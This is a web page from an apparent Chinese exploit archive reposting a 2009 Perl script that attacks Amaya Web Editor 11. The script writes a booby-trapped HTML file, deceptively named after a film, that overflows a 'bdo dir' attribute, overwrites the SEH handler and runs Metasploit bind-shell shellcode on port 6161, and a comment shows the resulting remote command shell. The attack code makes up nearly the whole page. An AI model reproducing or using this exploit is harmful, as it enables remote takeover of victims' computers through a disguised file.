首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Amaya Web Editor 11 Remote SEH Overwrite Exploit
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
#!/usr/bin/perl
#
# Title: Amaya Web Editor 11 Remote SEH Overwrite Exploit
#
# Summary: Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web.
#
# Product web page: http://www.w3.org/Amaya/
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Reference: http://www.milw0rm.com/exploits/7906
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# 30.01.2009
#
#------------------------------------------------------------------
#
# lqwrm@zeroscience:~$ telnet 192.168.1.101 6161
# Trying 192.168.1.101...
# Connected to 192.168.1.101.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Amaya\WindowsWX\bin>dir
#  Volume in drive C is System
#  Volume Serial Number is D484-8540
#
#  Directory of C:\Program Files\Amaya\WindowsWX\bin
#
# 29.01.2009  19:27    <DIR>          .
# 29.01.2009  19:27    <DIR>          ..
# 16.12.2008  14:44         5.816.320 amaya.exe
# 16.12.2008  14:41         1.290.240 thotprinter.dll
# 19.08.2008  11:02           135.168 wxbase28u_net_vc_custom.dll
# 19.08.2008  11:01         1.220.608 wxbase28u_vc_custom.dll
# 19.08.2008  11:02           135.168 wxbase28u_xml_vc_custom.dll
# 19.08.2008  11:03           741.376 wxmsw28u_adv_vc_custom.dll
# 19.08.2008  11:03           286.720 wxmsw28u_aui_vc_custom.dll
# 19.08.2008  11:01         3.018.752 wxmsw28u_core_vc_custom.dll
# 19.08.2008  11:02            49.152 wxmsw28u_gl_vc_custom.dll
# 19.08.2008  11:02           524.288 wxmsw28u_html_vc_custom.dll
# 19.08.2008  11:03           593.920 wxmsw28u_xrc_vc_custom.dll
#              11 File(s)     13.811.712 bytes
#               2 Dir(s)   7.520.141.312 bytes free
#
# C:\Program Files\Amaya\WindowsWX\bin>
#
#------------------------------------------------------------------



my $start = "<html>" . "\n" . '<bdo dir="' . "\n";

my $junk = "\x41" x 10556;

my $seh = "\xc5\x87\x85\x7c";	#0x7c8587c5     pop pop ret kernel32.dll - (SE handler) - EIP
				#0x7c941eed     jmp esp kernel32.dll
				#0x7c836960      call esp kernel32.dll
				#0x7c85d568      call esp kernell32.dll
				# ...

my $next_seh = "\xeb\x06\x90\x90";	#0x909006eb     jmp+0x06 - (Pointer to next SEH record)

my $nop = "\x90" x 50;

# win32_bind -  EXITFUNC=seh LPORT=6161 Size=344 Encoder=PexFnstenvSub http://metasploit.com
my $sc = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb0".
	"\x6b\x3a\x1e\x83\xeb\xfc\xe2\xf4\x4c\x01\xd1\x53\x58\x92\xc5\xe1".
	"\x4f\x0b\xb1\x72\x94\x4f\xb1\x5b\x8c\xe0\x46\x1b\xc8\x6a\xd5\x95".
	"\xff\x73\xb1\x41\x90\x6a\xd1\x57\x3b\x5f\xb1\x1f\x5e\x5a\xfa\x87".
	"\x1c\xef\xfa\x6a\xb7\xaa\xf0\x13\xb1\xa9\xd1\xea\x8b\x3f\x1e\x36".
	"\xc5\x8e\xb1\x41\x94\x6a\xd1\x78\x3b\x67\x71\x95\xef\x77\x3b\xf5".
	"\xb3\x47\xb1\x97\xdc\x4f\x26\x7f\x73\x5a\xe1\x7a\x3b\x28\x0a\x95".
	"\xf0\x67\xb1\x6e\xac\xc6\xb1\x5e\xb8\x35\x52\x90\xfe\x65\xd6\x4e".
	"\x4f\xbd\x5c\x4d\xd6\x03\x09\x2c\xd8\x1c\x49\x2c\xef\x3f\xc5\xce".
	"\xd8\xa0\xd7\xe2\x8b\x3b\xc5\xc8\xef\xe2\xdf\x78\x31\x86\x32\x1c".
	"\xe5\x01\x38\xe1\x60\x03\xe3\x17\x45\xc6\x6d\xe1\x66\x38\x69\x4d".
	"\xe3\x38\x79\x4d\xf3\x38\xc5\xce\xd6\x03\x22\x0f\xd6\x38\xb3\xff".
	"\x25\x03\x9e\x04\xc0\xac\x6d\xe1\x66\x01\x2a\x4f\xe5\x94\xea\x76".
	"\x14\xc6\x14\xf7\xe7\x94\xec\x4d\xe5\x94\xea\x76\x55\x22\xbc\x57".
	"\xe7\x94\xec\x4e\xe4\x3f\x6f\xe1\x60\xf8\x52\xf9\xc9\xad\x43\x49".
	"\x4f\xbd\x6f\xe1\x60\x0d\x50\x7a\xd6\x03\x59\x73\x39\x8e\x50\x4e".
	"\xe9\x42\xf6\x97\x57\x01\x7e\x97\x52\x5a\xfa\xed\x1a\x95\x78\x33".
	"\x4e\x29\x16\x8d\x3d\x11\x02\xb5\x1b\xc0\x52\x6c\x4e\xd8\x2c\xe1".
	"\xc5\x2f\xc5\xc8\xeb\x3c\x68\x4f\xe1\x3a\x50\x1f\xe1\x3a\x6f\x4f".
	"\x4f\xbb\x52\xb3\x69\x6e\xf4\x4d\x4f\xbd\x50\xe1\x4f\x5c\xc5\xce".
	"\x3b\x3c\xc6\x9d\x74\x0f\xc5\xc8\xe2\x94\xea\x76\x40\xe1\x3e\x41".
	"\xe3\x94\xec\xe1\x60\x6b\x3a\x1e";

my $end = '">' . "\n" . "t00t</bdo>" . "\n" . "</html>";

my $file= "Slumdog_Millionaire.html";

$payload = "$start" . "$junk" . "$next_seh" . "$seh" . "$nop" . "$sc " . "$end";

open (exploit, ">./$file") or die "Can't open $file: $!";

print exploit "$payload";

close (exploit);

print "\t\n - $file successfully created!\n";

# [2009-01-30]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ReVou Twitter Clone (XSS/SQL)
·GNUBoard 4.31.04 (09.01.30) Mu
·SalesCart (Auth Bypass) SQL In
·Synactis All_IN_THE_BOX Active
·Total Video Player 1.3.7 (.m3u
·GOM Player 2.0.12 (.PLS) Unive
·Pligg 9.9.5 XSRF Protection By
·BPAutoSales 1.0.1 (XSS/SQL) Mu
·Zoom VoIP Phone Adapater ATA1+
·Orca 2.0.2 (Topic) Remote XSS
·D-Link VoIP Phone Adapter XSS/
·SkaLinks 1.5 (Auth Bypass) SQL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved